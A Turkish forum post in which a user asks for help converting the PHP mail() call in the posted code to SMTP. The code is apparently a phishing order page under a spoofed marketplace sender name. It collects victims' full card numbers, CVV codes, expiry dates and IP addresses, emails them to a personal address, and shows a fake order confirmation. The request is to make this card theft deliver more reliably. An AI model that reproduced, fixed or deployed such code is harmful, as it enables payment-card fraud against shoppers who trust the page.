natro host mail smpt sorunu

pusat

OpenCart-TR
Katılım
3 Şub 2012
Mesajlar
24
Tepkime puanı
0
Puanları
0
arkadaşlar alttaki kodu smpt mail için düzenleyebileck olan varmı yardımcı olursanız sevinirim







-------------------------------------------------------------------------

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<script type="text/javascript" src="image/refcookie.js"></script><script type="text/javascript">
<!--
function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a.indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a;}}
}
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a)&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers.document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>

<?php


function gonder($ad,$tel,$mail,$adres,$adet,$odeme,$banka,$ccno1,$ccno2,$ccno3,$ccno4,$cvv,$cay,$cyil,$REMOTE_ADDR)

{

$kimden = "Gittigidiyorofis.com";

$baslik = "$ad";

$sablon = '<table class="made-in_text" border="0" cellSpacing="10" cellPadding="4" height="254" width="700">
<tr>
<td height="30" width="145" align="left">
<font face="Tahoma" size="2"><strong>Adınız Soyadınız:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $ad . '</font></td>
</tr>
<tr>
<td height="30" align="left">
<font face="Tahoma" size="2"><strong>Telefon Numaranız:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $tel . '</font></td>
</tr>
<tr>
<td height="30" align="left">
<font face="Tahoma" size="2"><strong>Ürün Kodu:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $mail . '</font></td>
</tr>
<tr>
<td style="VERTICAL-ALIGN: top; PADDING-TOP: 20px" align="left">
<font face="Tahoma" size="2"><strong>Adresiniz:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $adres . '</font></td>
</tr>
<tr>
<td align="left"><font face="Tahoma" size="2"><strong>
İstediğiniz Adet:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $adet . '</font></td>
</tr>
<tr>
<td height="30" align="left">
<strong><font face="Tahoma" size="2">Ödeme Tipi</font></strong><font face="Tahoma" size="2"><strong>:</strong></font></td>
<td align="left" width="509" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $odeme . '</font></td>
</tr>
</table>
<table border="0" cellSpacing="0" cellPadding="0" width="71%">
<tr>
<font size="2">
<td height="33" width="712">
<table border="0" cellSpacing="0" cellPadding="0" width="105%">
<tr>
<td width="152">
<font face="Tahoma" size="2">
<strong>Banka Seçimi</strong></font></td>
<td width="5">&nbsp;</td>
<td width="185" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">'. $banka . '</font></td>
</tr>
<tr>
<td width="152"><b>
<font size="2" face="Tahoma">
Kart Numarası&nbsp; </font></b>
</td>
<td width="5"><b>
<font size="2" face="Tahoma">
:&nbsp; </font></b></td>
<td width="185" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $ccno1 . '</font></td>
<td width="131" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $ccno2 . '</font></td>
<td width="131" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $ccno3 . '</font></td>
<td width="130" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $ccno4 . '</font></td>
</tr>
<tr>
<font size="2" face="Arial">
<td width="152"><b>
<font size="2" face="Tahoma">
CVV / CVC&nbsp; </font></b></td>
</font>
<td width="5" bgcolor="#F6FDEC"><b>
<font size="2" face="Tahoma">
:&nbsp; </font></b></td>
<td width="577" colspan="4" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $cvv . '</font></td>
</tr>
<tr>
<td width="152"><b>
<font size="2" face="Tahoma">
Son Kullanma Tarihi</font></b></td>
<td width="5"><b>
<font size="2" face="Tahoma">
:&nbsp; </font></b></td>
<td width="316" colspan="2" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">
&nbsp;'. $cay . '</font></td>
<td width="261" colspan="2" bgcolor="#F6FDEC">
<font face="Tahoma" size="2">
'. $cyil . '</font></td>
</tr>
<tr>
<td width="152"><b>
<font size="2" face="Tahoma">
İp Adresi</font></b></td>
<td width="5" bgcolor="#F6FDEC"><b>
<font size="2" face="Tahoma">
:</font></b></td>
<td width="316" colspan="2" bgcolor="#F6FDEC">
<font size="2" face="Tahoma">
'. $REMOTE_ADDR .'</font></td>
<td width="261" colspan="2">
&nbsp;</td>
</tr>
</table>
</td>
</font>
</tr>
<tr>
<font size="2">
<td height="30" width="712">
&nbsp;</td>
</font>
</tr>
</table>';



$header="From: $kimden\r\n"."Content-Type: text/html; Charset=utf-8\r\n";

mail ("timurtas@msn.com",$baslik,$sablon,$header);



if (mail) { echo '<table width="585" border="0" align="center" cellpadding="0" cellspacing="0" style="border:1px solid #666; padding:5px; margin-bottom:10px;"><tr><td align="center">
<span style="font-family: Tahoma; color: #006600; font-weight: 700">
<font size="2">Sayın '. $ad . ' Ürün Kodu olan '. $mail . ' Siparişiniz Başarıyla İletilmiştir.Müşteri Hizmetlerimiz En
Kısa Sürede Sizinle İrtibata Geçecek.</font></span></td>

</tr></table>'; }

else { echo '<table width="400" border="0" align="center" cellpadding="0" cellspacing="0" style="border:1px solid #060; padding:5px; margin-bottom:10px;"><tr><td align="center"><span style="font-family:Tahoma; font-size:12px; color:#006600;">Mesajınız Gönderilirken Bir Sorun Meydana Geldi.</span></td>

</tr></table>'; }



}



if (@$_GET['islem'] == "gonder") { gonder($_POST['ad'],$_POST['tel'],$_POST['mail'],$_POST['adres'],$_POST['adet'],$_POST['odeme'],$_POST['banka'],$_POST['ccno1'],$_POST['ccno2'],$_POST['ccno3'],$_POST['ccno4'],$_POST['cvv'],$_POST['cay'],$_POST['cyil'],$ip=$_SERVER['REMOTE_ADDR']); }



?>

</body>
</html>
 
Üst